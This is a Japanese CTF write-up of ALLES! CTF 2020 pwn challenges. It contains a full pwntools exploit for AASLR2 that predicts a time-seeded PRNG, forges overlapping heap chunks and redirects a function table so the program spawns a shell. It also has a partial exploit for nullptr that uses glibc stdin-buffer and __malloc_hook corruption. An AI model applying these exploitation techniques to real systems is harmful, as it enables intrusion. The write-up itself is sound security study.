イントロ
いつぞや行われた ALLES! CTF 2020
最近 CTF をしていなかったのですが、チーム TSG として参加して、結果は振るわず 22 位でした pwn 問をもう 1 個解き切っていれば 5~7 位分くらい上昇したので、実力不足です 本エントリでは pwn 問の AASLR1 / AASLR2 / nullptr の復習 (writeup では若干無いです、完全に解ききっていないやつが有るので)をしたいと思います。
まず全体の感想
InterKosen CTFとの並行開催ということもあり、 最初は ALLES!の方と InterKosen の方をウロウロ行ったり来たりしていました。 夜になるとチームの人たちが meet に集まってきたので、本腰を入れて ALLES の pwn 問を解くことにしました。 Crypto との合同問題があり、Crypto パートを解いてもらっている間に長いお散歩をしました。 Pwn 問題にまで落とし込んでもらった後、その日は AASLR2 を解きました。 解き終わると meet を抜けて寝ました。 起きると、全くやる気がなくなっていたので、最近買ったギドラ本を読んでいました。 最終日の深夜になると、チームの人から nullptr を解きませんかと誘っていただいたので、meet に集まって終了時間(AM4:00)まで問題を解いていました。 結構いい線まで言っていたので、解ききることができずに悔しかったです。
CTF は問題面もその他の面もかなり良かったと思います。
AASLR1/ AASLR2
Author: liveoverflow
の文字を見て、何故か笑顔になってしまいました
liveoverflow さんの Youtube 動画は偶に見るので、芸能人に会った気分になりました
AASLR1は Rev/Crypto 問題、AASLR2は Pwn 問題でした 問題セットは両者ともに同じであり、前者は特定の条件を満たすとプログラム中の正規のロジックとして 1 つ目の Flag が得られ、後者は正規のロジックから外れて Flag を奪取します
.sh1ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1caebb4c4c5b9bb141671f3721daaabd26f49312, for GNU/Linux 3.2.0, not stripped
2 RELRO: Full RELRO
3 Stack: Canary found
4 NX: NX enabled
5 PIE: PIE enabled
オレオレ malloc 問題です
最初に mmap()
で取得した領域から aslr_malloc()
でユーザ用に領域を確保してくるのですが、この際に乱数生成器から得た乱数をもとにして確保するアドレスを決定します
この乱数生成器のシードはプログラムの最初に呼んだ time()
の値だけです
また、確保した領域を管理する機構がないため、生成された乱数の値によっては overlapped chunk が作られることになります
乱数生成器の掌握
さて、まずはこの乱数生成器が次に吐く乱数を予測できないことには始まりません
プログラム中には、dice()
という関数によって生成される乱数のmod6
の値のみを任意に取得することができます
僕は数学が小学 2 年生の計算くらいしかできないので、他の人に任せていました。
mod6
のみで乱数生成器を掌握するのは難しいようで一旦詰まりましたが、
time()
を使っているのだから接続した時間の前後数秒をそれぞれシードにした乱数生成器をこちら側で用意し、
dice()
を振ってどの生成器の出力と一致するかを調べることで乱数生成器の状態を掌握することができました。
pwn
乱数生成器の状態を掌握することで、aslr_malloc()
によって確保される chunk のアドレスが予測できるようになりました。
このアドレスは前述したように数百回の malloc によって重複する可能性があります。
そのため、手持ちの乱数生成器で何回目のaslr_malloc()
によって衝突が起こるかを計算し、その分だけdice()
を振ってやることで乱数調整をします。
overlapped chunk を作ったら、ユーザデータのポインタを確保する配列が有るのでそれを良しなにいじりながら、ヒープ中に有る vtable をよしなにいじると、よしなになります
exploit
本 exploit は @JP3BGY と作りました:
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5from time import time
6import sys
7import socket,ssl
8
9FILENAME = "./aaslr"
10LIBCNAME = ""
11
12hosts = ("7b00000009836e5ea6bc9e72.challenges.broker4.allesctf.net","localhost","localhost")
13ports = (1337,12300,23947)
14rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
15rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
16rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
17context(os='linux',arch='amd64')
18binf = ELF(FILENAME)
19libc = ELF(LIBCNAME) if LIBCNAME!="" else None
20
21
22## utilities #########################################
23
24realstate = None
25ftable_off = None
26entry_off = None
27
28def hoge(ix):
29 global c
30 c.recvuntil("Item:\n")
31 c.sendline(str(ix))
32
33def td():
34 global c
35 hoge(1)
36 c.recvuntil("Threw dice: ")
37 return int(c.recvline().rstrip())
38
39def _create(data):
40 global c
41 hoge(2)
42 c.recvuntil("100):\n")
43 c.send(data)
44
45def _create_state_change(data):
46 global realstate
47 _create(data)
48 realstate = prng(realstate)[1]
49
50def _create_state_change_get_rand(data):
51 global realstate
52 _create(data)
53 val, realstate = prng(realstate)
54 return val
55
56
57def _view(ix):
58 global c
59 hoge(3)
60 c.recvuntil("):\n")
61 c.sendline(str(ix))
62 c.recvuntil(". ")
63 return c.recvline().rstrip()
64
65def _guess():
66 global c
67 raw_input("NOT IMPLEMENTED")
68
69def prng(state):
70 mask=(1<<64)-1
71 a,b,c,d=state
72 tmp1=a-((b>>5)|((b<<0x1b)&mask))
73 tmp1&=mask
74 a=b^((c>>0xf)|((c<<0x11)&mask))
75 a&=mask
76 tmp2=a+tmp1
77 tmp2&=mask
78 b=c+d
79 b&=mask
80 c=d+tmp1
81 c&=mask
82 d=tmp2
83 return (tmp2,(a,b,c,d))
84
85def get_malloc_offset(size):
86 global realstate
87 val, realstate = prng(realstate)
88 return val % (0x10000 - size)
89
90def dice(state):
91 x,y=prng(state)
92 return (x%6+1,y)
93
94def guess_dice(nums):
95 hoge(4)
96 for i in range(0xf):
97 c.recvline()
98 c.sendline(str(nums[i]))
99
100def send_many_dices(num):
101 if num==0:
102 return
103 c.recvuntil("Item:\n")
104 c.send("1\n"*num)
105
106# 次にお望みのaddr-size~addrを吐くようになるまでdiceを振る
107def set_recquestedd_state(req, size, aligend=None):
108 global realstate
109 global c
110 counter = 0
111 while True:
112 val, realstate = prng(realstate)
113 val = val%(0x10000-100)
114 if aligend==None or (aligend!=None and val%8==aligend):
115 if req-size<= val <=req:
116 print("[+] FOUND({}): {}".format(hex(counter), hex(val)))
117 print("[+] updating state...")
118 '''
119 for i in range(counter):
120 if i%0x30==0:
121 print(" {}".format(hex(i)))
122 td()
123 '''
124 for i in range(counter//0x100):
125 print(" sending... : {}".format(hex((i+1)*0x100)))
126 send_many_dices(0x100)
127 send_many_dices(counter%0x100)
128 return val
129 counter += 1
130
131
132## exploit ###########################################
133
134def exploit():
135 global c
136 global realstate
137 global ftable_off
138 global entry_off
139 cons = 0xf1ea5eed
140
141 nowtime=int(time())
142 states = [ (cons,nowtime+i,nowtime+i,nowtime+i)for i in range(-30,31)]
143 vptrs = []
144 entrys = []
145 for i in range(0x16):
146 newstates=[]
147 for j in states:
148 x,y= prng(j)
149 newstates.append(y)
150 if i==0x14:
151 vptrs.append(x)
152 elif i==0x15:
153 entrys.append(x)
154 states=newstates
155
156 while len(states)>1:
157 newstates=[]
158 newrnds=[]
159 newentrys=[]
160 x = td()
161 for j in range(len(states)):
162 i = states[j]
163 xx,y=dice(i)
164 if xx==x:
165 newstates.append(y)
166 newrnds.append(vptrs[j])
167 newentrys.append(entrys[j])
168
169 states=newstates
170 vptrs = newrnds
171 entrys = newentrys
172
173 assert(len(states)==1)
174 assert(len(vptrs)==1)
175 assert(len(entrys)==1)
176 realstate = states[0]
177
178 # AASLR1 ####
179 guessed = []
180 for i in range(0xf):
181 x,realstate = prng(realstate)
182 x = x%6+1
183 guessed += [x]
184 guess_dice(guessed)
185
186
187 # AASLR2 ####
188 ftable_off = vptrs[0] % (0x10000 - 0x8)
189 entry_off = entrys[0] % (0x10000 - 0x7f8)
190 print("[+] ftable_off: {}".format(hex(ftable_off)))
191 print("[+] entry_off: {}".format(hex(entry_off)))
192
193 # create dummys
194 _create_state_change("A"*0x50+"\n")
195 _create_state_change("B"*0x50+"\n")
196 _create_state_change("C"*0x50+"\n")
197
198 #
199 target_off = entry_off+8*4
200 hoge_off = target_off+0x40 - set_recquestedd_state(target_off+0x40, 0x40, aligend=entry_off%8)
201 print("[+] target: {}".format(hex(target_off)))
202 print("[+] hoge_off: {}".format(hex(hoge_off)))
203 _create("X"*0x50 + "\n")
204 c.recvuntil("at index ")
205 tmpix = int(c.recvline().rstrip())
206
207 fuck = []
208 for i in range(0x20):
209 fuck.append(_create_state_change_get_rand("Y"*8 + "\n") % (0x10000-100))
210 vmaddr1 = unpack(_view(tmpix).ljust(8,b'\x00'))
211 print("[+] get: {}".format(hex(vmaddr1)))
212 print("[+] fuck: {}".format(hex(fuck[0])))
213
214 # 諦め
215 for i in range(len(fuck)):
216 print("[+] fuck: {}".format(hex(fuck[i])))
217 if (vmaddr1 - fuck[i])%0x100 == 0:
218 mmbase = vmaddr1 - fuck[i]
219 break
220 print("[+] HEAP: {}".format(hex(mmbase)))
221 print("[*] ftable: {}".format(hex(ftable_off + mmbase)))
222 print("[*] ENTRY: {}".format(hex(entry_off + mmbase)))
223
224
225 # ftableを読みに行く(textbase leak)
226 target_off = entry_off
227 hoge_off = target_off - set_recquestedd_state(target_off, 84)
228 print("")
229 print("[+] target: {}".format(hex(target_off)))
230 print("[+] hoge_off: {}".format(hex(hoge_off)))
231 _create(b"A"*hoge_off + p64(ftable_off + mmbase)*((100-hoge_off)//8-1) + b"\n")
232 c.recvuntil("at index ")
233 tmpix = int(c.recvline().rstrip())
234
235 throw_dice_addr = unpack(_view(0).ljust(8,b'\x00'))
236 print("[+] throw_dice(): {}".format(hex(throw_dice_addr)))
237 textbase = throw_dice_addr - 0x1584
238 print("[+] textbase: {}".format(hex(textbase)))
239
240 # overwrite ftable into system
241 target_off = ftable_off
242 hoge_off = target_off - set_recquestedd_state(target_off, 84-0x10)
243 print("")
244 print("[+] target: {}".format(hex(target_off)))
245 print("[+] hoge_off: {}".format(hex(hoge_off)))
246 #_create(b"A"*hoge_off + p64(textbase + 0x1905)*((100-hoge_off)//8-1) + b"\n")
247 _create(b"A"*hoge_off + p64(textbase+0x1905)*4 + p64(textbase+0x1afc) + b"\n")
248 c.recvuntil("at index ")
249 tmpix = int(c.recvline().rstrip())
250
251 # jmp to system via error_case() function's entry
252 c.recvuntil("Item:\n")
253 print("[!] invoking shell...")
254 c.sendline("/bin/sh")
255
256 #c.sendline("cat ./flag1")
257
258
259## main ##############################################
260
261if __name__ == "__main__":
262 global c
263
264 if len(sys.argv)>1:
265 if sys.argv[1][0]=="d":
266 cmd = """
267 set follow-fork-mode parent
268 """
269 c = gdb.debug(FILENAME,cmd)
270 elif sys.argv[1][0]=="r":
271 context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
272 context.verify_mode = ssl.CERT_REQUIRED
273 context.check_hostname = True
274 context.load_default_certs()
275 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
276 ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
277 ssl_sock.connect((rhp1["host"],rhp1["port"]))
278 c = remote.fromsocket(ssl_sock)
279 elif sys.argv[1][0]=="v":
280 c = remote(rhp3["host"],rhp3["port"])
281 else:
282 c = remote(rhp2['host'],rhp2['port'])
283 exploit()
284 c.interactive()
結果
nullptr
問題概要
PartialRELRO です。 ちょっと弄ってあげるだけ、AAR になります。 ただし、その後できることは 「任意のアドレスの 8byte をヌルクリアする」ことだけです。
思考の道筋
本問題は @moratorium08 と一緒に解こうとしたため以下のアイディアや exploit にはモラさんのものが含まれてます。
問題文にWelcome to the House Of I'm pretty sure this is not even a heap challenge
(試訳: House of これはヒープ問ですら無いよ にようこそ) とあったので、heap 問だと検討をつけて考えました。
まず、main
ループの間に実行されるのが scanf()
/ printf()
/ NULL クリア だけなので、ヌルクリアするべき対象は自然とstdin
/stdout
関係であると推察できます。
scanf()
はバッファリングのためにヒープ上のバッファを使います。
このバッファのアドレスはstdin->__IO_buf_base
に入っているのですが、
この値がヌルクリアされた場合バッファが確保されていないと考えられて、malloc()
を行います。
よって、top
のサイズを事前に小さくしてあげることで、次のscanf
時にtop
を拡張させることができます。
更に、main_arena->top
を部分的に NULL クリアしてあげることで 1/2048 の確率で次のtop
が GOT 領域と重なるところに確保されます。
scanf()
の入力として任意の値を入力してやることで、勿論scanf
自体はエラーを返しますが、バッファリングはちゃんとされるため、その領域に対して任意の入力をすることができるようになると考えました。
尚、この手法はバッファリングに使うバッファのサイズ設定に環境依存し、0x1000 未満だと成功します。
本番中はこの考えに懸けて、ローカルでシェルが取れましたが、リモートでとることは無理だろうということで、結局解ききることはできませんでした。
(追記: 2020.09.08)
全く同じ方法で pwn できてる人がいたみたい:
どうやら想定解っぽいもの
基本的には上に述べたことと同じアイディアですが、GOT ではなく__malloc_hook
を書き換えます。
そのためには新しいstdin
バッファが libc symbols よりも高位にきていなければならないため、mmap()
でバッファを取得する必要があります。
これは、mp_->mmap_threshold
を予めヌルクリアしてから上述のようにmalloc()
を呼ぶことで達成できます。
あとは、確保した領域から__malloc_hook
までの間に有るデータの内破壊してはいけないものを正規の値で上書きしながら、__malloc_hook
を書き換えるだけです。
但し、なんか環境依存っぽい要素が複数有るっぽぃ(自分の無知かもしれない)のと、昨日深夜 4:00 まで同じ問題を解いていたということの疲れもあり、まだ PoC は完成していません。 殆どやることはないですが、あとで完全な PoC を貼っておきます。
exploit: 途中まで
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6import socket,ssl
7import time
8
9FILENAME = "./nullptr"
10LIBCNAME = ""
11
12hosts = ("7b0000000158d462b15a9bee.challenges.broker3.allesctf.net","localhost","localhost")
13ports = (1337,12300,23947)
14rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
15rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
16rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
17context(os='linux',arch='amd64')
18binf = ELF(FILENAME)
19libc = ELF(LIBCNAME) if LIBCNAME!="" else None
20
21
22## utilities #########################################
23
24def hoge(ix):
25 global c
26 c.recvuntil("> \n",timeout=1)
27 c.sendline(str(ix))
28
29'''
30abc=0
31def v(addr):
32 global abc
33 hoge(1)
34 c.recvline()
35 if addr==None:
36 c.sendline("*")
37 else:
38 c.sendline(str(addr))
39 if abc==3:
40 c.interactive()
41 _addr, val = c.recvline().rstrip().split(b": ")
42 abc += 1
43 return (int(_addr,16), int(val,16))
44'''
45def v(addr):
46 hoge(1)
47 c.recvuntil("\n",timeout=1)
48 if addr==None:
49 c.sendline("*")
50 else:
51 c.sendline(str(addr))
52 tmp = c.recvline().rstrip().split(b": ") # なんで時々落ちるねん
53 print(tmp)
54 _addr, val = (tmp[0],tmp[1])
55 return (int(_addr,16), int(val,16))
56
57def n(addr):
58 hoge(2)
59 print("[+] NULLing OUT")
60 c.recvline(timeout=0.1)
61 c.sendline(str(addr))
62
63def p(num):
64 addr = num[0]
65 val = num[1]
66 print("[*] {}: {}".format(hex(addr), hex(val)))
67 return addr, val
68
69
70## exploit ###########################################
71
72def _exploit():
73 global c
74
75 # leak each bases
76 a1, v1 = p(v(None)) # first leaked stack addr
77 a2, v2 = p(v(a1 - 0xd8)) # leak libc_start_main
78 libcbase = v2 - 0x271e3
79 mainstack_bottom = a1 - 0xe0 # main frame内の退避されたBPが置いてある場所
80 a3, v3 = p(v(mainstack_bottom + 0x5*8)) # leak textbase
81 main_addr = v3
82 textbase = main_addr - 0x1bd
83 print("[+] libcbase: {}".format(hex(libcbase)))
84 print("[+] main stack bottom: {}".format(hex(mainstack_bottom)))
85 print("[+] main: {}".format(hex(main_addr)))
86 print("[+] textbase: {}".format(hex(textbase)))
87
88 stdin_addr = libcbase + 0x1ea980
89 stdout_addr = libcbase + 0x1eb6a0
90 heap_base = p(v(stdin_addr + 8))[1] - 0x12a0 # ??? remoteでは違うかも(buf sizeが)
91 print("[+] heap: {}".format(hex(heap_base)))
92 raw_input("OK")
93
94 # NULL clear mp_->mmap_threshold
95 mp__addr = libcbase + 0x1ea280
96 n(mp__addr + 0x10)
97
98 # smallen old top's size
99 oldtop = heap_base + 0x22b0
100 n(oldtop + 9)
101
102 raw_input("OK")
103
104 # NULL clear stdin->__IO_buf_base and mmap
105 n(stdin_addr + 7*8)
106 c.interactive()
107 leaked = p(v(stdin_addr + 8))[1]
108 '''
109 The bottom libc area is the target (in this case, fail)
110 0x7fa216ac1000 0x7fa2168bd000 r-xp 1b1000 0 /glibc/2.30/64/lib/libc-2.30.so
111 0x7fa2168bd000 0x7fa216abd000 ---p 200000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
112 0x7fa216abd000 0x7fa216ac1000 r--p 4000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
113 0x7fa216ac1000 0x7fa216ac3000 rw-p 2000 1b5000 /glibc/2.30/64/lib/libc-2.30.so
114 0x7fa216ac3000 0x7fa216ac7000 rw-p 4000 0
115 '''
116 target = libcbase + 0x3b5000
117 print("[+] target: {}".format(hex(target)))
118 print("[+] : {}".format(hex(leaked & 0xFFFFFFFF0000)))
119 if leaked & 0xFFFFFFFF0000 != target:
120 hoge(-1)
121 print("[-] RETRY...\n")
122 return False
123
124 '''
125 '''
126
127
128
129def exploit():
130 ret = False
131 try:
132 ret = _exploit()
133 except ssl.SSLError:
134 print("FUCK")
135 return ret
136
137
138
139## main ##############################################
140
141if __name__ == "__main__":
142 global c
143
144 if len(sys.argv)>1:
145 if sys.argv[1][0]=="d":
146 cmd = """
147 set follow-fork-mode parent
148 """
149 c = gdb.debug(FILENAME,cmd)
150 elif sys.argv[1][0]=="r":
151 context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
152 context.verify_mode = ssl.CERT_REQUIRED
153 context.check_hostname = True
154 context.load_default_certs()
155 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
156 ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
157 ssl_sock.connect((rhp1["host"],rhp1["port"]))
158 c = remote.fromsocket(ssl_sock)
159 elif sys.argv[1][0]=="v":
160 c = remote(rhp3["host"],rhp3["port"])
161 else:
162 c = remote(rhp2['host'],rhp2['port'])
163
164 fail = True
165 while fail:
166 if exploit() == False:
167 c.close()
168 sleep(0.5)
169 if len(sys.argv)>1:
170 if sys.argv[1][0]=="d":
171 cmd = """
172 set follow-fork-mode parent
173 """
174 c = gdb.debug(FILENAME,cmd)
175 elif sys.argv[1][0]=="r":
176 context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
177 context.verify_mode = ssl.CERT_REQUIRED
178 context.check_hostname = True
179 context.load_default_certs()
180 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
181 ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
182 ssl_sock.connect((rhp1["host"],rhp1["port"]))
183 c = remote.fromsocket(ssl_sock)
184 elif sys.argv[1][0]=="v":
185 c = remote(rhp3["host"],rhp3["port"])
186 else:
187 c = remote(rhp2['host'],rhp2['port'])
188
189 c.interactive()
アウトロ
ねむい